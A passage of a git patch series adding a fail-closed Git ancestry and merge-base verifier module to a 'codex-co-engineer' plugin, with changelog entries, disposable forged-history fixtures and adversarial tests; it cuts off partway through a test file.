`${expectedBaseRef}^{commit}`], + `${path}.expected_base_ref`, + ); + if (peeled.exit_code !== 0) { + const unborn = await gitMaybe( + session, + [...flags, 'show-ref', '--verify', '--', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (unborn.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not peel to a commit.`); + } + const observedBaseSha = parseObservedSha(peeled.stdout, `${path}.expected_base_ref`); + const objectType = await gitLine( + session, + [...flags, 'cat-file', '-t', '--', observedBaseSha], + `${path}.expected_base_ref`, + PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (objectType !== 'commit') { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref is not a commit object.`); + } + if (expectedBaseSha !== observedBaseSha) { + const expectedType = await gitMaybe( + session, + [...flags, 'cat-file', '-t', '--', expectedBaseSha], + `${path}.repository.base_sha`, + ); + if (expectedType.exit_code !== 0) { + fail('non_commit_object', `${path}.repository.base_sha`, + `${path}.repository.base_sha is not a readable git object.`); + } + const expectedObjectType = oneLine( + expectedType.stdout, `${path}.repository.base_sha`, PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (expectedObjectType !== 'commit') { + fail('non_commit_object', `${path}.repository.base_sha`, + `${path}.repository.base_sha is not a commit object.`); + } + } + return { sha: observedBaseSha, object_type: objectType }; +} + +async function observeHeadSha(session, flags, candidateHeadSha, path) { + const typeResult = await gitMaybe( + session, + [...flags, 'cat-file', '-t', '--', candidateHeadSha], + `${path}.candidate_head_sha`, + ); + if (typeResult.exit_code !== 0) { + fail('unreachable_head', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha is not a readable git object.`); + } + const objectType = oneLine( + typeResult.stdout, `${path}.candidate_head_sha`, PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (objectType !== 'commit') { + fail('non_commit_object', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha is not a commit object.`); + } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', `${candidateHeadSha}^{commit}`], + `${path}.candidate_head_sha`, + ); + if (peeled.exit_code !== 0) { + fail('non_commit_object', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha does not peel to a commit.`); + } + const observedHeadSha = parseObservedSha(peeled.stdout, `${path}.candidate_head_sha`); + if (observedHeadSha !== candidateHeadSha) { + fail('ambiguous_ref_denied', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha did not resolve to itself.`); + } + return { sha: observedHeadSha, object_type: objectType }; +} + +function durationOf(session) { + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function emitFact(kind, request, inputDigest, outputDigest, status, payload, durationMs) { + const boundedDuration = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + return parseVerifiedFactV1({ + fact_id: kind === 'git_identity' ? 'git-identity' : 'head-sha', + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.run_id, + assignment_id: request.assignment_id, + sequence: kind === 'git_identity' ? request.sequence : request.sequence + 1, + subject: kind === 'git_identity' ? 'repository' : 'head', + authority: 'platform_git', + method: 'ancestry_check', + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: null, + duration_ms: boundedDuration, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: 'integrity', + status: 'recorded', + code: 'artifact_integrity_failure', + run_id: request.run_id, + assignment_id: request.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +export async function verifyGitIdentityV1(input, options) { + const request = parseGitIdentityRequestV1(input); + const parsedOptions = parseOptions(options); + const pathLabel = 'git_identity'; + const session = createSession(parsedOptions.spawn); + const repositoryPath = request.repository.path; + const gitDir = await assertLocalRepository(session, repositoryPath, pathLabel); + const flags = repoFlags(repositoryPath, gitDir); + await assertNoReplaceOrGrafts(session, flags, pathLabel); + const worktreeHeadRef = await observeWorktreeHeadRef(session, flags, pathLabel); + const base = await observeBaseRef( + session, flags, request.expected_base_ref, request.repository.base_sha, pathLabel, + ); + const head = await observeHeadSha( + session, flags, request.candidate_head_sha, pathLabel, + ); + const durationMs = durationOf(session); + const observation = freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, { + repository_path: repositoryPath, + git_dir: gitDir, + base_ref: request.expected_base_ref, + base_sha: base.sha, + head_sha: head.sha, + base_object_type: base.object_type, + head_object_type: head.object_type, + worktree_head_ref: worktreeHeadRef, + duration_ms: durationMs, + }); + const inputDigest = digestCanonical({ + repository: request.repository, + expected_base_ref: request.expected_base_ref, + candidate_head_sha: request.candidate_head_sha, + }); + const outputDigest = digestCanonical(observation); + if (!PRIVATE_SHA256_PATTERN.test(inputDigest) || !PRIVATE_SHA256_PATTERN.test(outputDigest)) { + fail('git_execution_failed', pathLabel, `${pathLabel} could not bind observation digests.`); + } + const discrepancies = []; + const pushDiscrepancy = (id, factIds) => { + if (request.sequence + discrepancies.length > MAX_SEQUENCE) { + fail('out_of_range', `${pathLabel}.discrepancies`, + `${pathLabel}.discrepancies exceed the injected sequence bound.`); + } + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, request, factIds, request.sequence + discrepancies.length), + ]); + }; + if (base.sha !== request.repository.base_sha) { + pushDiscrepancy('stale-base', ['git-identity']); + } + const verified = discrepancies.length === 0 + && base.sha === request.repository.base_sha + && head.sha === request.candidate_head_sha; + const status = verified ? 'verified' : 'failed'; + const facts = capturedFreeze([ + emitFact( + 'git_identity', request, inputDigest, outputDigest, status, + { base_sha: request.repository.base_sha, head_sha: request.candidate_head_sha }, + durationMs, + ), + emitFact( + 'head_sha', request, inputDigest, outputDigest, status, + { sha: request.candidate_head_sha }, + durationMs, + ), + ]); + return freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + schema: GIT_IDENTITY_SCHEMA_ID, + version: GIT_IDENTITY_VERSION, + status, + facts, + discrepancies: capturedFreeze(discrepancies), + observation, + }); +} + +OBJECT_FREEZE(GIT_IDENTITY_ERROR_CODES); From 66a14e3a19264101674eb9fe3688a4086dbf28bf Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:32:27 +0000 Subject: [PATCH 072/151] feat(verify): validate ancestry and merge base Independently compute reachability, merge-base identity, and stale versus rewritten history from local Git objects. Bind ancestor and merge-base observations into P13 git_identity and head_sha facts plus integrity discrepancies without trusting provider claims. --- CHANGELOG.md | 28 +++---- .../codex-co-engineer/mcp/v3/git-identity.mjs | 77 +++++++++++++++++-- 2 files changed, 84 insertions(+), 21 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d7c2798..84ec7f9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,21 +4,23 @@ ### Added -- **GitIdentityV1 independent repository base-branch and head verifier.** - Adds an additive v3 `git-identity.mjs` module for W13-P14. It derives - Git facts from the local repository through argv execution +- **GitIdentityV1 independent repository, ancestry, and merge-base + verifier.** Adds an additive v3 `git-identity.mjs` module for W13-P14. + It derives Git facts from the local repository through argv execution (`/usr/bin/git`, no shell) and never from provider claims, then binds repository identity, expected base ref/name, exact base SHA, candidate - head SHA, and object types into P13 `VerifiedFactV1` snapshots - (`git_identity` and `head_sha` with `platform_git` / `ancestry_check`). - Observation uses a closed environment that cannot inherit `GIT_*`, - replace, graft, or config influence; output, time, and command counts - are bounded; typed errors never echo hostile bytes. It rejects - missing/wrong repos, symbolic-ref drift, detached/unborn/ambiguous - refs, non-commit objects, replace refs, grafts, hostile names, extra - keys, proxies/accessors, and bounds abuse. It does not own P15 - scope/read-only/merge-commit checks, P16A trusted command policy, P28 - Git mutation, or provider/workspace dispatch. + head SHA, object types, reachability, ancestry, merge-base identity, + and rewritten/stale history into P13 `VerifiedFactV1` / + `EvidenceDiscrepancyV1` snapshots (`git_identity` and `head_sha` with + `platform_git` / `ancestry_check`). Observation uses a closed + environment that cannot inherit `GIT_*`, replace, graft, or config + influence; output, time, and command counts are bounded; typed errors + never echo hostile bytes. It rejects missing/wrong repos, symbolic-ref + drift, detached/unborn/ambiguous refs, non-commit objects, replace + refs, grafts, hostile names, extra keys, proxies/accessors, and bounds + abuse. It does not own P15 scope/read-only/merge-commit checks, P16A + trusted command policy, P28 Git mutation, or provider/workspace + dispatch. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs index aca4e31..df6ce02 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs @@ -6,9 +6,10 @@ // Additive v3 module for W13-P14. It observes Git from the local repository // through argv execution and never from provider claims. It binds repository // path identity, expected base ref/name, exact base SHA, candidate head SHA, -// and object types into P13 VerifiedFactV1 / EvidenceDiscrepancyV1 snapshots. -// It does not own P15 scope/read-only/merge-commit checks, P16A trusted -// command policy, P28 Git mutation, or provider/workspace dispatch. +// object types, reachability, ancestry, merge-base identity, and +// rewritten/stale history into P13 VerifiedFactV1 / EvidenceDiscrepancyV1 +// snapshots. It does not own P15 scope/read-only/merge-commit checks, P16A +// trusted command policy, P28 Git mutation, or provider/workspace dispatch. // // Observation is fail-closed: spawn is argv-only (no shell), the child // environment is a closed map that cannot inherit GIT_* / config / replace / @@ -75,7 +76,8 @@ export const GIT_IDENTITY_RESULT_ALLOWED_KEYS = capturedFreeze([ ]); export const GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ 'repository_path', 'git_dir', 'base_ref', 'base_sha', 'head_sha', - 'base_object_type', 'head_object_type', 'worktree_head_ref', 'duration_ms', + 'merge_base_sha', 'base_object_type', 'head_object_type', + 'worktree_head_ref', 'ancestor', 'duration_ms', ]); export const GIT_IDENTITY_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); export const GIT_IDENTITY_STATUSES = capturedFreeze(['failed', 'verified']); @@ -722,6 +724,57 @@ async function observeHeadSha(session, flags, candidateHeadSha, path) { return { sha: observedHeadSha, object_type: objectType }; } +async function observeAncestry(session, flags, expectedBaseSha, observedBaseSha, headSha, path) { + const ancestorResult = await gitMaybe( + session, + [...flags, 'merge-base', '--is-ancestor', '--', expectedBaseSha, headSha], + `${path}.ancestry`, + ); + if (ancestorResult.exit_code !== 0 && ancestorResult.exit_code !== 1) { + fail('git_execution_failed', `${path}.ancestry`, + `${path}.ancestry could not complete a merge-base ancestor check.`); + } + const ancestor = ancestorResult.exit_code === 0; + const mergeBaseResult = await gitMaybe( + session, + [...flags, 'merge-base', '--all', '--', expectedBaseSha, headSha], + `${path}.merge_base`, + ); + let mergeBaseSha = ''; + if (mergeBaseResult.exit_code === 0) { + const lines = mergeBaseResult.stdout.endsWith('\n') + ? mergeBaseResult.stdout.slice(0, -1).split('\n') + : mergeBaseResult.stdout.split('\n'); + if (lines.length !== 1 || !isSha40(lines[0])) { + mergeBaseSha = ''; + } else { + mergeBaseSha = lines[0]; + } + } + const baseMoved = observedBaseSha !== expectedBaseSha; + let staleBase = false; + let rewrittenBase = false; + if (baseMoved) { + const expectedStillAncestor = await gitMaybe( + session, + [...flags, 'merge-base', '--is-ancestor', '--', expectedBaseSha, observedBaseSha], + `${path}.stale_base`, + ); + if (expectedStillAncestor.exit_code === 0) staleBase = true; + else rewrittenBase = true; + } + const wrongMergeBase = !isSha40(mergeBaseSha) || mergeBaseSha !== expectedBaseSha; + const unreachableHead = ancestor !== true; + return { + ancestor, + merge_base_sha: isSha40(mergeBaseSha) ? mergeBaseSha : '', + stale_base: staleBase, + rewritten_base: rewrittenBase, + wrong_merge_base: wrongMergeBase, + unreachable_head: unreachableHead, + }; +} + function durationOf(session) { return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); } @@ -780,6 +833,9 @@ export async function verifyGitIdentityV1(input, options) { const head = await observeHeadSha( session, flags, request.candidate_head_sha, pathLabel, ); + const ancestry = await observeAncestry( + session, flags, request.repository.base_sha, base.sha, head.sha, pathLabel, + ); const durationMs = durationOf(session); const observation = freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, { repository_path: repositoryPath, @@ -787,9 +843,11 @@ export async function verifyGitIdentityV1(input, options) { base_ref: request.expected_base_ref, base_sha: base.sha, head_sha: head.sha, + merge_base_sha: ancestry.merge_base_sha, base_object_type: base.object_type, head_object_type: head.object_type, worktree_head_ref: worktreeHeadRef, + ancestor: ancestry.ancestor, duration_ms: durationMs, }); const inputDigest = digestCanonical({ @@ -811,12 +869,15 @@ export async function verifyGitIdentityV1(input, options) { emitDiscrepancy(id, request, factIds, request.sequence + discrepancies.length), ]); }; - if (base.sha !== request.repository.base_sha) { - pushDiscrepancy('stale-base', ['git-identity']); - } + if (ancestry.stale_base) pushDiscrepancy('stale-base', ['git-identity']); + if (ancestry.rewritten_base) pushDiscrepancy('rewritten-history', ['git-identity', 'head-sha']); + if (ancestry.unreachable_head) pushDiscrepancy('unreachable-head', ['head-sha']); + if (ancestry.wrong_merge_base) pushDiscrepancy('wrong-merge-base', ['git-identity', 'head-sha']); const verified = discrepancies.length === 0 && base.sha === request.repository.base_sha - && head.sha === request.candidate_head_sha; + && head.sha === request.candidate_head_sha + && ancestry.ancestor === true + && ancestry.merge_base_sha === request.repository.base_sha; const status = verified ? 'verified' : 'failed'; const facts = capturedFreeze([ emitFact( From ded99cb21beede0579030cceb10358d7f9c996f0 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:32:50 +0000 Subject: [PATCH 073/151] test(verify): add forged stale and rewritten history fixtures Add disposable repositories and focused/adversarial tests for forged replace/graft influence, stale and rewritten bases, unreachable heads, wrong merge bases, detached/unborn/non-commit refs, closed argv execution, bounds abuse, and concurrent independent observation. --- CHANGELOG.md | 4 +- .../fixtures/r1-git-identity-fixtures.mjs | 269 ++++++++++++++++++ .../test/r1-git-identity-adversarial.test.mjs | 189 ++++++++++++ .../test/r1-git-identity.test.mjs | 250 ++++++++++++++++ 4 files changed, 711 insertions(+), 1 deletion(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-identity.test.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index 84ec7f9..f7f6d5e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,7 +20,9 @@ refs, grafts, hostile names, extra keys, proxies/accessors, and bounds abuse. It does not own P15 scope/read-only/merge-commit checks, P16A trusted command policy, P28 Git mutation, or provider/workspace - dispatch. + dispatch. Coverage lives in `r1-git-identity` and + `r1-git-identity-adversarial` tests plus disposable forged/stale/ + rewritten fixtures. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs new file mode 100644 index 0000000..1a9e9b7 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs @@ -0,0 +1,269 @@ +// Disposable repository fixtures for W13-P14 Git identity and ancestry +// verification. Construction uses argv git only; the product verifier is +// never imported here so forged histories stay parent-failing until the +// verifier module exists. + +import { spawn } from 'node:child_process'; +import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +export const RUN_ID = 'run-git-identity-01'; +export const ASSIGNMENT_ID = 'lane-verify'; +export const BASE_REF = 'refs/heads/main'; + +const GIT = '/usr/bin/git'; +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P14 Fixture', + GIT_AUTHOR_EMAIL: 'p14@example.test', + GIT_COMMITTER_NAME: 'P14 Fixture', + GIT_COMMITTER_EMAIL: 'p14@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function validRequest(overrides = {}) { + const repository = overrides.repository ?? { + path: overrides.path, + base_sha: overrides.base_sha, + }; + const request = { + repository, + expected_base_ref: overrides.expected_base_ref ?? BASE_REF, + candidate_head_sha: overrides.candidate_head_sha ?? overrides.head_sha, + run_id: overrides.run_id ?? RUN_ID, + assignment_id: overrides.assignment_id ?? ASSIGNMENT_ID, + sequence: overrides.sequence ?? 0, + }; + for (const key of Object.keys(overrides)) { + if (key === 'path' || key === 'base_sha' || key === 'head_sha') continue; + request[key] = overrides[key]; + } + return request; +} + +function runFixtureGit(cwd, args, env = FIXTURE_ENV) { + return new Promise((resolve, reject) => { + const child = spawn(GIT, args, { + cwd, + env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + error.code = code; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function emptyRepo(prefix) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function commit(root, message, fileName = 'file.txt', contents = message) { + await writeFile(path.join(root, fileName), `${root}\n${contents}\n`, 'utf8'); + await runFixtureGit(root, ['add', '--', fileName]); + await runFixtureGit(root, ['commit', '-m', `${message} ${root}`]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createLinearRepo() { + const root = await emptyRepo('p14-linear-'); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const headSha = await commit(root, 'head', 'head.txt', 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { commits: [baseSha, headSha] } }); +} + +export async function createStaleBaseRepo() { + const root = await emptyRepo('p14-stale-'); + const expectedBaseSha = await commit(root, 'expected-base', 'a.txt', 'a'); + const currentBaseSha = await commit(root, 'moved-base', 'b.txt', 'b'); + return wrap(root, { + baseSha: expectedBaseSha, + headSha: currentBaseSha, + extra: { currentBaseSha }, + }); +} + +export async function createRewrittenHistoryRepo() { + const root = await emptyRepo('p14-rewrite-'); + const expectedBaseSha = await commit(root, 'original-base', 'orig.txt', 'orig'); + await runFixtureGit(root, ['branch', '--', 'keep-original']); + await runFixtureGit(root, ['checkout', '--orphan', 'rewritten']); + await runFixtureGit(root, ['rm', '-rf', '--', '.']); + const rewrittenSha = await commit(root, 'rewritten-root', 'new.txt', 'new'); + await runFixtureGit(root, ['checkout', '-B', 'main', rewrittenSha]); + return wrap(root, { + baseSha: expectedBaseSha, + headSha: rewrittenSha, + extra: { rewrittenSha }, + }); +} + +export async function createUnreachableHeadRepo() { + const root = await emptyRepo('p14-unreach-'); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + await runFixtureGit(root, ['checkout', '--orphan', 'side']); + const sideSha = await commit(root, 'side', 'side.txt', 'side'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, + headSha: sideSha, + extra: { sideSha }, + }); +} + +export async function createWrongMergeBaseRepo() { + const root = await emptyRepo('p14-mergebase-'); + const rootSha = await commit(root, 'root', 'root.txt', 'root'); + await runFixtureGit(root, ['checkout', '-b', 'left']); + const leftSha = await commit(root, 'left', 'left.txt', 'left'); + await runFixtureGit(root, ['checkout', '-B', 'main', leftSha]); + await runFixtureGit(root, ['checkout', '-b', 'right', rootSha]); + const rightSha = await commit(root, 'right', 'right.txt', 'right'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha: leftSha, + headSha: rightSha, + extra: { rootSha, leftSha, rightSha }, + }); +} + +export async function createReplaceRefRepo() { + const repo = await createLinearRepo(); + const tree = await runFixtureGit(repo.path, ['rev-parse', 'HEAD^{tree}']); + const forged = await runFixtureGit(repo.path, [ + 'commit-tree', tree, '-m', 'forged-replace', + ]); + await runFixtureGit(repo.path, ['replace', repo.baseSha, forged]); + repo.extra = { ...repo.extra, forged }; + return repo; +} + +export async function createGraftsRepo() { + const repo = await createLinearRepo(); + const graftsDir = path.join(repo.path, '.git', 'info'); + await mkdir(graftsDir, { recursive: true }); + await writeFile( + path.join(graftsDir, 'grafts'), + `${repo.headSha} ${'0'.repeat(40)}\n`, + 'utf8', + ); + return repo; +} + +export async function createDetachedHeadRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['checkout', '--detach', repo.headSha]); + return repo; +} + +export async function createUnbornRepo() { + const root = await emptyRepo('p14-unborn-'); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} + +export async function createNonCommitHeadRepo() { + const repo = await createLinearRepo(); + const treeSha = await runFixtureGit(repo.path, ['rev-parse', 'HEAD^{tree}']); + repo.extra = { ...repo.extra, treeSha }; + repo.headSha = treeSha; + return repo; +} + +export async function createSymbolicRefDriftRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['symbolic-ref', 'refs/heads/alias', BASE_REF]); + repo.extra = { ...repo.extra, alias: 'refs/heads/alias' }; + return repo; +} + +export async function createMissingRepoPath() { + const root = await mkdtemp(path.join(tmpdir(), 'p14-missing-')); + await rm(root, { recursive: true, force: true }); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} + +export async function createNonGitDirectory() { + const root = await mkdtemp(path.join(tmpdir(), 'p14-nongit-')); + await writeFile(path.join(root, 'readme.txt'), 'not a git repo\n', 'utf8'); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} diff --git a/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs new file mode 100644 index 0000000..ff06122 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs @@ -0,0 +1,189 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + createDetachedHeadRepo, + createGraftsRepo, + createNonCommitHeadRepo, + createReplaceRefRepo, + createRewrittenHistoryRepo, + createStaleBaseRepo, + createSymbolicRefDriftRepo, + createUnbornRepo, + createUnreachableHeadRepo, + createWrongMergeBaseRepo, + trapTotal, + validRequest, +} from './fixtures/r1-git-identity-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +test('live proxies are denied with zero traps on the request surface', async () => { + const { proxy, counts } = countingProxy(validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + })); + assert.equal((await errorOf(() => parseGitIdentityRequestV1(proxy))).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + assert.equal((await errorOf(() => verifyGitIdentityV1(proxy))).code, 'proxy_denied'); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', async () => { + const { proxy, revoke } = Proxy.revocable(validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = await errorOf(() => parseGitIdentityRequestV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', async () => { + let reads = 0; + const input = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(input, 'expected_base_ref', { + enumerable: true, + get() { + reads += 1; + return 'refs/heads/main'; + }, + }); + const error = await errorOf(() => parseGitIdentityRequestV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('detached, unborn, non-commit, and symbolic-ref drift fail closed', async (t) => { + const detached = await createDetachedHeadRepo(); + t.after(() => detached.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: detached.path, base_sha: detached.baseSha, head_sha: detached.headSha, + })))).code, 'detached_ref_denied'); + + const unborn = await createUnbornRepo(); + t.after(() => unborn.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: unborn.path, base_sha: unborn.baseSha, head_sha: unborn.headSha, + })))).code, 'unborn_ref_denied'); + + const treeHead = await createNonCommitHeadRepo(); + t.after(() => treeHead.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: treeHead.path, base_sha: treeHead.baseSha, head_sha: treeHead.extra.treeSha, + })))).code, 'non_commit_object'); + + const drift = await createSymbolicRefDriftRepo(); + t.after(() => drift.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: drift.path, + base_sha: drift.baseSha, + head_sha: drift.headSha, + expected_base_ref: 'refs/heads/alias', + })))).code, 'symbolic_ref_drift'); +}); + +test('replace refs and grafts fail closed as poisoned observations', async (t) => { + const replaced = await createReplaceRefRepo(); + t.after(() => replaced.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: replaced.path, base_sha: replaced.baseSha, head_sha: replaced.headSha, + })))).code, 'replace_refs_denied'); + + const grafted = await createGraftsRepo(); + t.after(() => grafted.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: grafted.path, base_sha: grafted.baseSha, head_sha: grafted.headSha, + })))).code, 'grafts_denied'); +}); + +test('stale base history is parent-failing and records an integrity discrepancy', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('stale-base'), true); + assert.equal(result.observation.base_sha, repo.extra.currentBaseSha); + assert.notEqual(result.observation.base_sha, repo.baseSha); + assert.equal(result.facts[0].status, 'failed'); + assert.equal(result.facts[0].payload.base_sha, repo.baseSha); + parseVerifiedFactV1(result.facts[0]); + parseEvidenceDiscrepancyV1(result.discrepancies[0]); +}); + +test('rewritten history is parent-failing and does not verify ancestry', async (t) => { + const repo = await createRewrittenHistoryRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('rewritten-history'), true); + assert.equal(result.observation.ancestor, false); + assert.equal(result.facts[0].status, 'failed'); + parseVerifiedFactV1(result.facts[0]); + parseVerifiedFactV1(result.facts[1]); +}); + +test('unreachable heads and wrong merge bases fail closed with P13 discrepancies', async (t) => { + const unreachable = await createUnreachableHeadRepo(); + t.after(() => unreachable.cleanup()); + const unreachableResult = await verifyGitIdentityV1(validRequest({ + path: unreachable.path, base_sha: unreachable.baseSha, head_sha: unreachable.headSha, + 